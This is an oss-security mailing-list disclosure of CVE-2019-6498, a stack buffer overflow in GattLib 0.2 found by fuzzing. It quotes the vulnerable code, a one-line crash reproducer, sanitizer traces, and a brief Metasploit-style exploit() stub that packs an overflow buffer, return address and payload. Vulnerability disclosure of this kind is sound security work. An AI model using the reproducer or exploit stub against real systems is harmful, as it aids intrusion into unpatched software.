oss-security - GattLib 0.2 has a stack-based buffer

Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [day] [month] [year] [list]
Date: Mon, 21 Jan 2019 11:31:33 +0400
From: Dhiraj Mishra <mishra.dhiraj95@...il.com>
To: oss-security@...ts.openwall.com
Subject: GattLib 0.2 has a stack-based buffer - CVE-2019-6498

Hi List,

## Summary:
While fuzzing gattlib (Gattlib is a library to access GATT information from
BLE (Bluetooth Low Energy) devices) using clang 6.0 with ASAN a stack-based
buffer-overflow was observed.

## Vulnerable code from gattlib.c

// Transform string from 'DA:94:40:95:E0:87' to 'dev_DA_94_40_95_E0_87'
strncpy(device_address_str, dst, sizeof(device_address_str));
for (i = 0; i < strlen(device_address_str); i++) {
if (device_address_str[i] == ':') {
device_address_str[i] = '_';
}
}

## Vulnerable code from discover.c

if (argc != 2) {
printf("%s <device_address>\n", argv[0]);
return 1;
}

connection = gattlib_connect(NULL, argv[1], BDADDR_LE_PUBLIC, BT_SEC_LOW,
0, 0);
if (connection == NULL) {
fprintf(stderr, "Fail to connect to the bluetooth device.\n");
return 1;
}

Also, I have figured a simple way to reproduce this rather than using AFL
poc in this case.

./discover `python -c 'print "A"*20'`

## ASAN

==31499==ERROR: AddressSanitizer: stack-buffer-overflow on address
0x7ffc99cec2d4 at pc 0x00000044de04 bp 0x7ffc99cec270 sp 0x7ffc99ceba20
READ of size 21 at 0x7ffc99cec2d4 thread T0
    #0 0x44de03 in __interceptor_strlen.part.30
(/home/zero/gattlib/build/examples/discover/discover+0x44de03)
    #1 0x7f149e22069e in gattlib_connect
/home/zero/gattlib/dbus/gattlib.c:224:18
    #2 0x50bf48 in main
/home/zero/gattlib/examples/discover/discover.c:43:15
    #3 0x7f149c6d6b96 in __libc_start_main
/build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
    #4 0x41c959 in _start
(/home/zero/gattlib/build/examples/discover/discover+0x41c959)

Address 0x7ffc99cec2d4 is located in stack of thread T0 at offset 84 in
frame
    #0 0x7f149e22056f in gattlib_connect
/home/zero/gattlib/dbus/gattlib.c:209

  This frame has 3 object(s):
    [32, 40) 'error'
    [64, 84) 'device_address_str' <== Memory access at offset 84 overflows
this variable
    [128, 228) 'object_path'
HINT: this may be a false positive if your program uses some custom stack
unwind mechanism or swapcontext
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow
(/home/zero/gattlib/build/examples/discover/discover+0x44de03) in
__interceptor_strlen.part.30
Shadow bytes around the buggy address:
  0x100013395800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100013395810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100013395820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100013395830: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100013395840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100013395850: f1 f1 f1 f1 00 f2 f2 f2 00 00[04]f2 f2 f2 f2 f2
  0x100013395860: 00 00 00 00 00 00 00 00 00 00 00 00 04 f3 f3 f3
  0x100013395870: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
  0x100013395880: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
  0x100013395890: 00 f2 f2 f2 00 f2 f2 f2 04 f2 04 f2 00 00 00 00
  0x1000133958a0: 06 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==31499==ABORTING

I have also written a quick MSF module for this specifically the exploit()
part

I have also written a quick MSF module for this specifically the exploit()
part

def exploit
    connect

    print_status("Sending #{payload.encoded.length} byte payload...")

    # Building the buffer for transmission
    buf = "A" * 20
    buf += [ target.ret ].pack('V')
    buf += payload.encoded

    sock.put(buf)
    sock.get

    handler
end

In addition memory leak was also observed in this case.

==31544==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 16 byte(s) in 1 object(s) allocated from:
    #0 0x4d21b8 in calloc
(/home/zero/gattlib/build/examples/discover/discover+0x4d21b8)
    #1 0x7fe844ee2857 in gattlib_connect
/home/zero/gattlib/dbus/gattlib.c:233:36
    #2 0x50bf48 in main
/home/zero/gattlib/examples/discover/discover.c:43:15
    #3 0x7fe843398b96 in __libc_start_main
/build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310

SUMMARY: AddressSanitizer: 16 byte(s) leaked in 1 allocation(s).

OR to verify memory leak use,

./discover `python -c 'print "A"*10'`

Later CVE-2019-6498 was assigned to this issue.

Reference:
https://github.com/labapart/gattlib/issues/81


Thank you
@mishradhiraj_
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.